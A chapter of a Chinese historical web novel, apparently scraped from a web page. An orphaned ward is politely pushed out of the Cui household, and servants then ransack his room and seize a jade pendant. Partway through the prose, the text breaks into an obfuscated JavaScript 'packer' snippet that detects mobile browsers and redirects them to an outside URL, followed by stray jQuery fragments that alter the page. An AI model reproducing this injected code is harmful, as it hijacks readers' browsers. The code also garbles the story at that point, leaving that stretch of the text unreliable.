正院厅堂内,熏香袅袅,陈设富丽堂皇。
薛氏端坐于主位上,一袭织金锦缎衣裙,发髻高挽,保养得宜的面容慈眉善目,眼角眉梢不见多少风霜,又不失端严气度。她手中端着一盏茶,轻轻撇去浮沫,并未急着饮用,直至卫慈行礼问安,方才抬眼看去。
“卫慈见过崔伯母。”他躬身行礼,姿态恭顺,礼数周全,挑不出半点错处。
“免礼,坐罢。”
薛氏温和一笑,指了指下首的圈椅,语气亲切,“你这孩子,不必拘礼。听闻你前些日子又病了一场,如今可大好了?”
卫慈依言落座,脊背挺直,双手规矩地置于膝上,虽一身素色长衫,却难掩风骨,“劳伯母挂念,已无大碍。”
寒暄几句后,薛氏话锋一转,叹了口气,似是感慨,“一晃眼,你来府中已有三年之久,想当初还是个半大的孩子,如今也长成翩翩少年郎了。老太爷在世时,最是疼惜你,常念叨着要为你寻个好前程。”
卫慈心头微动,面上却不显,恭顺答道,“是。”
薛氏搁下茶盏,言辞温和,浅笑着又说,“老太爷念及与你祖父的旧情,收留了你,常说你聪慧过人,日后必成大器。你虽非崔氏血脉,老太爷也视你如己出,让你在府中安心住下。如今老太爷仙逝,我们也算是全了他的遗愿,留你在府中这许久。”
他遂应,“承蒙老太爷厚恩与崔氏照拂,慈铭感五内,没齿难忘。”
“咱们两家是世交,照拂你是应当的。只是……”她顿了顿,也不与他绕弯子,面上依旧带着笑,却绵里藏针,“如今家中光景不比从前,上下百十口人,花销甚大,各处开支都要缩减。伯母虽有心留你长住,可也怕耽误了你的前程。”
“你也年岁渐长,已有虚十七了吧?眼见着便要十八,正是建功立业的好年纪。你是读书人,有才学,又有志气,总不好一直困守在这后宅之中,蹉跎了岁月,你说是不是这个理儿?”
话已至此,图穷匕见。
薛氏这番话虽说得冠冕堂皇,甚至还带着些为他着想的意味,话里话外,虽未明说,逐客之意却已是昭然若揭。
讲白了,崔氏不养闲人,尤其是像他这般既无血缘关系,又无功名在身的外姓人。
崔老爷子在世时,念及旧情收留他,薛氏自然不好说什么。如今老爷子驾鹤西去,他继续留在崔府,确实是个累赘。
可薛氏虽是崔氏的当家主母,毕竟公爹才过世不久,倘若没多久便将故友遗孤赶出去,难免落人口实。却并不妨碍她用这般软刀子割肉的方式,逼迫卫慈自个儿识趣离开。
薛氏能忍到现下再开口,且并未恶语相向,已算是给足了颜面。
卫慈对此无甚意外。
人走茶凉,世情如此。薛氏为家族计,此举也无可厚非,甚于合情合理。
“伯母教训的是。”
他心如明镜,却不辩驳,起身长揖一礼,神色平静,不见半分怨怼,只低眉顺眼地应道,“慈在府中叨扰多时,深觉心中难安。如今年岁见长,确实不该再厚颜寄住,理应早做打算,自立门户。明日一早,慈便向伯母辞行。”
“既然你有此心,那边是极好的。”薛氏见他如此懂事,颇为满意,面上笑靥也真切了几分,“难得你是个通透的孩子,伯母实非要赶你走,只是为你将来着想……我也不是狠心之人,世道艰苦,你若有甚难处,尽管开口,崔氏也不是那等不讲情义的人家。”
这话说得漂亮,实则是在堵他的嘴,教他不好意思再出言索要钱财。
“多谢伯母。”卫慈垂眸,掩去眼底的嘲讽,“慈这些年攒了些许积蓄,倒也够用。”
*
次日清晨,天光未亮,西北角的偏院便热闹了起来。
卫慈尚在睡梦中,就被一阵嘈杂声吵醒。几个家仆得了令,大摇大摆地闯进厢房。
为首的是个身材魁梧的管事,名唤王二,平日里最是欺软怕硬。既知卫慈寄居崔府多年,心中瞧他便很是轻蔑。
“这……这是作甚?”卫慈披衣起身,眉尖微皱。
“卫郎君,奉夫人之命,来为您收拾行囊。”王二虽口中恭敬,手脚却极不规矩,进了屋,指挥着手下人胡乱翻动,显然是没把他放在眼里,“马车都在后门候着了,您看还有什么要带的,咱们动作快些,也好让您早点上路。”
这哪里是收拾,分明是抄家一般的架势,是要当场将他扫地出门。
明摆着,此乃上施下效。薛氏虽未明言,但底下人最会看眼色行事,既然主子都不待见这位郎君,他们当然也就不必客气,恨不得立即将这个吃白饭的外姓人赶出去。
卫慈不喜旁人触碰他的东西,看着被翻得乱七八糟的书案与衣橱,眉头紧蹙,上前几步,挡在一个正要去归置文房的家仆面前,将被随意拢到一处的笔墨纸砚理好,“不劳诸位动手,我自行收拾便是。”
王二并没坚持,反倒是乐得轻松,挥手让他们退到一旁,抱臂站在门口,一副本就不耐得伺候他的作态,嘴里忍不住不干不净地嘟囔着,“穷酸样,还能有什么值钱玩意儿?也不知赖在府里这么些年,脸皮怎能这般厚……”
“就是,赖在咱们崔氏,也不知道羞臊。”
“嘁,还真当自个儿是主子了?”
卫慈没理会他们的冷嘲热讽,俯身拾起散落在地的书卷,拂去灰尘,一本本整齐地码进箱笼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133618|194340||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“哎呦,这破书烂纸的,留着做什么?当柴火烧都嫌费劲!”
“有些人呐……也不看看如今是个什么光景。”
他的东西并不多,几件换洗衣物,几卷书册,便是全部家当。就在他从衣橱底部取出一块用布帛包裹的物件时,有一家仆眼尖,一下子便瞧见了里头露出的一抹温润玉色。
这是一枚温润剔透的玉佩,质地细腻,雕工精湛,上头刻着几株兰草,栩栩如生,一看便知价值不菲。是此前前来兴临的外县人,假借阿财之手留下的饵,实则用以确认他与卫氏是否有甚关系。
而后被崔重岫截获,一番把玩试探后,不知为何又扔给了他。他本不欲留,收着也并非为了钱财,只是顾忌这东西流落在外,万一被人认出是卫氏旧物,反倒惹来祸端。
“呦!这是什么好物件?”那家仆见这玉佩成色不凡,绝非寻常,贪婪之色溢于言表,伸手便要抢夺,“瞧这水头……啧啧啧,怕是值不少银子吧?”
卫慈反应极快,侧身避开,下意识地将玉佩握入掌心。这东西虽非他本意所得,丢了便也丢了,可若是落入旁人手中,再牵扯到卫氏,被有心人拿去做文章,后果不堪设想。
他冷冷地看着那家仆,某种寒光凛冽,杀意一闪而逝,冷声道,“放肆!此乃我私物,岂容你随意染指!”
那家仆没抢着,顿时恼羞成怒,指着卫慈骂道,“呸!你一个穷得叮当响的破落户,能有什么好东西?”
说着,见他敬酒不吃吃罚酒,也不再客气,便招呼不远处几人一同围了上去,推推搡搡,意图强抢,“卫郎君,这话该我说才是。咱们好心帮您收拾,您藏着掖着作甚?府里可是丢过东西的,莫非这东西来路不正,指不定……是哪儿偷来的赃物吧?”
“胡言乱语!”
卫慈气得浑身发抖,行事一向克制隐忍,此刻也不禁动怒,“此乃家母遗物,何来偷盗之说!”
“遗物?哈!谁信呐!”家仆嗤笑一声,仗着人多势众,愈发肆无忌惮,手上猛地用力一拽,“给我拿来吧你!待我交予夫人查验,若真是你的东西,自会还你。若不是……”
两人争执不下,又有王二与其余家仆在旁,推搡之间,卫慈身形单薄,哪里是这些做惯了粗活的家仆对手?
他被推得踉跄几步,勉强扶住桌案才站稳,而玉佩也被硬生生地扯断了系绳,落入家仆手中。
场面一时混乱不堪,书册散落一地,案椅被撞翻,发出沉闷又刺耳的声响。
正值千钧一发之际——
“都在闹什么?”
一道清凌凌的女声从门扉外传来,音量虽不大,却足以镇住在场的一应人等。